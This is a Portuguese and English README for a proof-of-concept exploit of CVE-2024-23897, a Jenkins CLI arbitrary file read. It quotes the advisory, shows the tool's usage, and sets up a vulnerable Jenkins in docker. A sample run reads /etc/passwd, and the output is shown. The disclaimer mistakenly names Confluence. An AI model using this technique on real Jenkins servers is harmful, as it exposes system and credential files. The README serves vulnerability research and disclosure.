
This repository presents a proof-of-concept of CVE-2024-23897
Este repositório apresenta uma prova de conceito do CVE-2024-23897 (Descoberto pela sonarsource)
Este código é uma prova de conceito da vulnerabilidade, não estou incentivando ninguém a usá-la em instâncias do Confluence que não possuem.
Esta ferramenta foi desenvolvida apenas para fins de pesquisa e educação e não serei responsabilizado por qualquer uso que você faça dela.
De acordo com Jenkins Security Advisory 2024-01-24 :
Jenkins usa a biblioteca args4j para analisar argumentos de comando e opções no controlador Jenkins ao processar comandos CLI. Este analisador de comandos possui um recurso que substitui um caractere @ seguido por um caminho de arquivo em um argumento pelo conteúdo do arquivo (expandAtFiles). Esse recurso está habilitado por padrão e o Jenkins 2.441 e anteriores, LTS 2.426.2 e anteriores não o desabilitam. Isso permite que atacantes leiam arquivos arbitrários no sistema de arquivos do controlador Jenkins usando a codificação de caracteres padrão do processo do controlador Jenkins.
$ python3 CVE-2024-23897.py -h
usage: CVE-2024-23897.py [-h] -u URL -f FILENAME
This is a POC for CVE-2024-23897 (Jenkins file read)
options:
-h, --help show this help message and exit
-u URL Url
-f FILENAME Filename
docker pull jenkins/jenkins:2.440-jdk17
docker run -p 8080:8080 jenkins/jenkins:2.440-jdk17
$ python3 CVE-2024-23897.py -u http://127.0.0.1:8080 -f '/etc/passwd'
[+] Trying to recover /etc/passwd
[+] Data recovered:
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)